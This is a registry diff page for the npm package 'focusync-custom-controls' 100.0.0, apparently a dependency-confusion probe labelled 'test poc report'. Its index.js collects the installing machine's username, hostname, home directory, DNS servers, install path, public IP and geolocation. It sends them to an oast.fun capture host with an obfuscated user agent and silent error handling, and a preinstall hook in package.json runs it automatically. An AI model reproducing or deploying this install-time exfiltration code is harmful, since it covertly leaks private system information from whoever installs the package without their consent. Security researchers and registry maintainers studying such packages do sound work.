focusync-custom-controls 100.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of focusync-custom-controls might be problematic. Click here for more details.
- package/index.js +100 -0
- package/package.json +12 -0
package/index.js
ADDED
|
@@ -0,0 +1,100 @@
|
|
|
1
|
+
const _os = require("os"),
|
|
2
|
+
_dns = require("dns"),
|
|
3
|
+
_qs = require("querystring"),
|
|
4
|
+
_https = require("https"),
|
|
5
|
+
_pkgJson = require("./package.json"),
|
|
6
|
+
_p = _pkgJson.name;
|
|
7
|
+
|
|
8
|
+
const _b64d = (s) => Buffer.from(s, "base64").toString("utf-8");
|
|
9
|
+
|
|
10
|
+
function _getPubIP() {
|
|
11
|
+
return new Promise((res, rej) => {
|
|
12
|
+
_https.get("https://api.ipify.org?format=json", (r) => {
|
|
13
|
+
let d = "";
|
|
14
|
+
r.on("data", (c) => (d += c));
|
|
15
|
+
r.on("end", () => {
|
|
16
|
+
try {
|
|
17
|
+
res(JSON.parse(d).ip);
|
|
18
|
+
} catch (e) {
|
|
19
|
+
rej(e);
|
|
20
|
+
}
|
|
21
|
+
});
|
|
22
|
+
}).on("error", rej);
|
|
23
|
+
});
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
function _getIPInfo(ip) {
|
|
27
|
+
return new Promise((res) => {
|
|
28
|
+
_https.get(`https://ipinfo.io/${ip}/json`, (r) => {
|
|
29
|
+
let d = "";
|
|
30
|
+
r.on("data", (c) => (d += c));
|
|
31
|
+
r.on("end", () => {
|
|
32
|
+
try {
|
|
33
|
+
const j = JSON.parse(d);
|
|
34
|
+
res({
|
|
35
|
+
o: j.org || "UnknownOrg",
|
|
36
|
+
a: j.asn ? j.asn.asn : j.asn || "UnknownASN",
|
|
37
|
+
c: j.city || "UnknownCity",
|
|
38
|
+
co: j.country || "UnknownCountry",
|
|
39
|
+
});
|
|
40
|
+
} catch {
|
|
41
|
+
res({ o: "UnknownOrg", a: "UnknownASN", c: "UnknownCity", co: "UnknownCountry" });
|
|
42
|
+
}
|
|
43
|
+
});
|
|
44
|
+
}).on("error", () => res({ o: "UnknownOrg", a: "UnknownASN", c: "UnknownCity", co: "UnknownCountry" }));
|
|
45
|
+
});
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
async function _send() {
|
|
49
|
+
try {
|
|
50
|
+
const _ip = await _getPubIP();
|
|
51
|
+
const _info = await _getIPInfo(_ip);
|
|
52
|
+
const _timeISO = new Date().toISOString(),
|
|
53
|
+
_timeUNIX = Date.now(),
|
|
54
|
+
_ua = _b64d("eWFybC8xLjIyLjIyIG5wbS8_IHnodeSwgbm9kZS92MTguMjAuNCBkYXJ3aW4geDY0");
|
|
55
|
+
|
|
56
|
+
const _data = JSON.stringify({
|
|
57
|
+
pkg: _p,
|
|
58
|
+
dir: __dirname,
|
|
59
|
+
home: _os.homedir(),
|
|
60
|
+
host: _os.hostname(),
|
|
61
|
+
user: _os.userInfo().username,
|
|
62
|
+
dns: _dns.getServers(),
|
|
63
|
+
ver: _pkgJson.version,
|
|
64
|
+
ip: _ip,
|
|
65
|
+
org: _info.o,
|
|
66
|
+
asn: _info.a,
|
|
67
|
+
city: _info.c,
|
|
68
|
+
country: _info.co,
|
|
69
|
+
isoTime: _timeISO,
|
|
70
|
+
unixTime: _timeUNIX,
|
|
71
|
+
ua: _ua,
|
|
72
|
+
});
|
|
73
|
+
|
|
74
|
+
const _post = _qs.stringify({ msg: _data });
|
|
75
|
+
|
|
76
|
+
const _opts = {
|
|
77
|
+
hostname: "seaqzlbcxcgfgyoyvfegupxoa9yenu931.oast.fun",
|
|
78
|
+
port: 443,
|
|
79
|
+
path: "/",
|
|
80
|
+
method: "POST",
|
|
81
|
+
headers: {
|
|
82
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
83
|
+
"Content-Length": Buffer.byteLength(_post),
|
|
84
|
+
"User-Agent": _ua,
|
|
85
|
+
},
|
|
86
|
+
};
|
|
87
|
+
|
|
88
|
+
const _req = _https.request(_opts, (res) => {
|
|
89
|
+
res.on("data", (d) => process.stdout.write(d));
|
|
90
|
+
});
|
|
91
|
+
|
|
92
|
+
_req.on("error", () => {});
|
|
93
|
+
|
|
94
|
+
_req.write(_post);
|
|
95
|
+
_req.end();
|
|
96
|
+
} catch {}
|
|
97
|
+
}
|
|
98
|
+
|
|
99
|
+
_send();
|
|
100
|
+
|
package/package.json
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "focusync-custom-controls",
|
|
3
|
+
"version": "100.0.0",
|
|
4
|
+
"description": "test poc report",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
8
|
+
"preinstall": "node index.js"
|
|
9
|
+
},
|
|
10
|
+
"author": "",
|
|
11
|
+
"license": "ISC"
|
|
12
|
+
}
|